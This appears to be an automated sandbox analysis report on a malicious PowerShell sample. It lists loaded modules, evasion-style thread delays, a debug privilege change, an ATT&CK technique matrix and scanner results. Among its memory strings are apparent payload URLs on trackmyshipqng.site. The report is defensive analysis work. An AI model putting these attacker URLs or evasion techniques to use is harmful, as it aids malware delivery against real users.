Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 5676	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6155	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3480	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2092

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7288	Thread sleep count: 6155 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7244	Thread sleep count: 3480 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4980	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3896	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1760	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6260	Thread sleep count: 7477 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6532	Thread sleep count: 2092 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6064	Thread sleep time: -12912720851596678s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: svchost.exe, 00000007.00000002.2679393383.000001FB4B85A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2676836204.000001FB4622B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000005.00000002.2083598394.0000028A19A90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: E0F5C59F9FA661F6F4C50B87FEF3A15A0.6.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: test_warning.py.16.dr	String found in binary or memory: http://bugs.python.org/issue18081).
Source: test_warning.py.16.dr	String found in binary or memory: http://bugs.python.org/issue18318).
Source: codecs.py.16.dr	String found in binary or memory: http://bugs.python.org/issue19619
Source: _pydecimal.py.16.dr	String found in binary or memory: http://bugs.python.org/issue6857.
Source: 2.3.html.16.dr	String found in binary or memory: http://catb.org/~esr/trove/
Source: svchost.exe, 00000007.00000002.2679153943.000001FB4B800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: transports.cpython-312.pyc.16.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
Source: transports.cpython-312.pyc.16.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
Source: transports.cpython-312.pyc.16.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
Source: svchost.exe, 00000007.00000003.1471535168.000001FB4B670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2.2.html.16.dr	String found in binary or memory: http://freshmeat.net/releases/52719/'
Source: heuristics.cpython-312.pyc.16.dr	String found in binary or memory: http://lxr.mozilla.org/mozilla-release/source/netwerk/protocol/http/nsHttpResponseHead.cpp#397
Source: sslproto.py.16.dr	String found in binary or memory: http://magic.io
Source: ceval.h.16.dr	String found in binary or memory: http://mail.python.org/pipermail/python-dev/2008-August/082106.html
Source: powershell.exe, 00000005.00000002.2078895850.0000028A11544000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2078895850.0000028A11687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2036650641.0000028A016F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2036650641.0000028A014D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: _pydecimal.py.16.dr, 2.4.html.16.dr	String found in binary or memory: http://speleotrove.com/decimal/
Source: _pydecimal.py.16.dr	String found in binary or memory: http://speleotrove.com/decimal/decarith.html
Source: fetch_macholib.16.dr	String found in binary or memory: http://svn.red-bean.com/bob/macholib/trunk/macholib/
Source: heuristics.cpython-312.pyc.16.dr	String found in binary or memory: http://tools.ietf.org/html/rfc7234#section-4.2.2
Source: heuristics.cpython-312.pyc.16.dr	String found in binary or memory: http://tools.ietf.org/html/rfc7234#section-5.5.4
Source: powershell.exe, 00000005.00000002.2036650641.0000028A016F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502
Source: powershell.exe, 00000005.00000002.2085360779.0000028A7F5B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502/DXJS.zip
Source: powershell.exe, 00000005.00000002.2084105027.0000028A7EEA0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2085360779.0000028A7F5B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502/FTSP.zip
Source: powershell.exe, 00000005.00000002.2085243333.0000028A7F0B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2085243333.0000028A7F0B4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2083071820.0000028A1985C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2085360779.0000028A7F5B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502/FTSP.zipHOMEDRIVE=C:HOMEPATH=
Source: powershell.exe, 00000005.00000002.2084105027.0000028A7EEA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502/FTSP.zip~
Source: powershell.exe, 00000005.00000002.2085243333.0000028A7F0B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://trackmyshipqng.site:5502/dxjs.zip
Source: powershell.exe, 00000005.00000002.2036650641.0000028A016F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 2.3.html.16.dr	String found in binary or memory: http://www.atheos.cx/
Source: _pydatetime.py.16.dr	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: _pydatetime.py.16.dr	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: 2.2.html.16.dr	String found in binary or memory: http://www.oreillynet.com/meerkat/xml-rpc/server.php'
Source: 2.3.html.16.dr	String found in binary or memory: http://www.phyast.pitt.edu/~micheles/mro.html
Source: _pydatetime.py.16.dr	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: _markupbase.py.16.dr	String found in binary or memory: http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf
Source: library.html.16.dr	String found in binary or memory: http://www.some-server.out-there'
Source: zlib.html.16.dr	String found in binary or memory: http://www.zlib.net
Source: zlib.html.16.dr	String found in binary or memory: http://www.zlib.net/manual.html

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 PowerShell	1 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	21 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner
C:\Users\user\Downloads\Python\Python312\Lib\_aix_support.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_collections_abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_compression.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_markupbase.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_osx_support.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_py_abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_pydatetime.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_pyio.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_pylong.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_sitebuiltins.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_strptime.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_threading_local.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\_weakrefset.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\aifc.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\argparse.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\ast.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\__main__.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\base_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\base_futures.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\base_subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\base_tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\exceptions.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\format_helpers.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\futures.py	0%	ReversingLabs
